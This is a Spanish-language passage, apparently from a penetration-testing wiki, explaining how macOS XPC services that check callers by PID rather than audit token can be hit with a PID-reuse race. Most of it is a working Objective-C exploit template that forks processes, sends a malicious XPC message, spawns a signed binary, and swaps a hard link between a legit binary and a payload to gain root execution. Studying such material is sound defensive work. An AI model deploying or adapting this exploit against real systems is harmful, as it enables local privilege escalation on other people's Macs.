Cuando un servicio XPC de macOS está verificando el proceso llamado basado en el PID y no en el token de auditoría, es vulnerable a un ataque de reutilización de PID. Este ataque se basa en una condición de carrera donde un exploit va a enviar mensajes al servicio XPCabusando de la funcionalidad y justo después de eso, ejecutando posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ) con el binario permitido.
Esta función hará que el binario permitido tenga el PID, pero el mensaje XPC malicioso se habría enviado justo antes. Así que, si el servicio XPCusa el PID para autenticar al remitente y lo verifica DESPUÉS de la ejecución de posix_spawn, pensará que proviene de un proceso autorizado.
Ejemplo de exploit
Si encuentras la función shouldAcceptNewConnection o una función llamada por ella llamando a processIdentifier y no llamando a auditToken. Es muy probable que esté verificando el PID del proceso y no el token de auditoría.
Como por ejemplo en esta imagen (tomada de la referencia):
Revisa este ejemplo de exploit (nuevamente, tomado de la referencia) para ver las 2 partes del exploit:
Una que genera varios forks
Cada fork enviará la carga útil al servicio XPC mientras ejecuta posix_spawn justo después de enviar el mensaje.
Para que el exploit funcione, es importante export`` ``OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES o poner dentro del exploit:
Este ejemplo utiliza un fork en bruto para lanzar hijos que explotarán la condición de carrera de PID y luego explotarán otra condición de carrera a través de un enlace duro:
// export OBJC_DISABLE_INITIALIZE_FORK_SAFETY=YES
// gcc -framework Foundation expl.m -o expl
#include <Foundation/Foundation.h>
#include <spawn.h>
#include <pthread.h>
// TODO: CHANGE PROTOCOL AND FUNCTIONS
@protocol HelperProtocol
- (void)DoSomething:(void (^)(_Bool))arg1;
@end
// Global flag to track exploitation status
bool pwned = false;
/**
* Continuously overwrite the contents of the 'hard_link' file in a race condition to make the
* XPC service verify the legit binary and then execute as root out payload.
*/
void *check_race(void *arg) {
while(!pwned) {
// Overwrite with contents of the legit binary
system("cat ./legit_bin > hard_link");
usleep(50000);
// Overwrite with contents of the payload to execute
// TODO: COMPILE YOUR OWN PAYLOAD BIN
system("cat ./payload > hard_link");
usleep(50000);
}
return NULL;
}
void child_xpc_pid_rc_abuse(){
// TODO: INDICATE A VALID BIN TO BYPASS SIGN VERIFICATION
#define kValid "./Legit Updater.app/Contents/MacOS/Legit"
extern char **environ;
// Connect with XPC service
// TODO: CHANGE THE ID OF THE XPC TO EXPLOIT
NSString* service_name = @"com.example.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
// TODO: CNAGE THE PROTOCOL NAME
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error) {
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}];
NSLog(@"obj: %@", obj);
NSLog(@"conn: %@", connection);
// Call vulenrable XPC function
// TODO: CHANEG NAME OF FUNCTION TO CALL
[obj DoSomething:^(_Bool b){
NSLog(@"Response, %hdd", b);
}];
// Change current process to the legit binary suspended
char target_binary[] = kValid;
char *target_argv[] = {target_binary, NULL};
posix_spawnattr_t attr;
posix_spawnattr_init(&attr);
short flags;
posix_spawnattr_getflags(&attr, &flags);
flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
posix_spawnattr_setflags(&attr, flags);
posix_spawn(NULL, target_binary, NULL, &attr, target_argv, environ);
}
/**
* Function to perform the PID race condition using children calling the XPC exploit.
*/
void xpc_pid_rc_abuse() {
#define RACE_COUNT 1
extern char **environ;
int pids[RACE_COUNT];
// Fork child processes to exploit
for (int i = 0; i < RACE_COUNT; i++) {
int pid = fork();
if (pid == 0) { // If a child process
child_xpc_pid_rc_abuse();
}
printf("forked %d\n", pid);
pids[i] = pid;
}
// Wait for children to finish their tasks
sleep(3);
// Terminate child processes
for (int i = 0; i < RACE_COUNT; i++) {
if (pids[i]) {
kill(pids[i], 9);
}
}
}
int main(int argc, const char * argv[]) {
// Create and set execution rights to 'hard_link' file
system("touch hard_link");
system("chmod +x hard_link");
// Create thread to exploit sign verification RC
pthread_t thread;
pthread_create(&thread, NULL, check_race, NULL);
while(!pwned) {
// Try creating 'download' directory, ignore errors
system("mkdir download 2>/dev/null");
// Create a hardlink
// TODO: CHANGE NAME OF FILE FOR SIGN VERIF RC
system("ln hard_link download/legit_bin");
xpc_pid_rc_abuse();
usleep(10000);
// The payload will generate this file if exploitation is successfull
if (access("/tmp/pwned", F_OK ) == 0) {
pwned = true;
}
}
return 0;
}
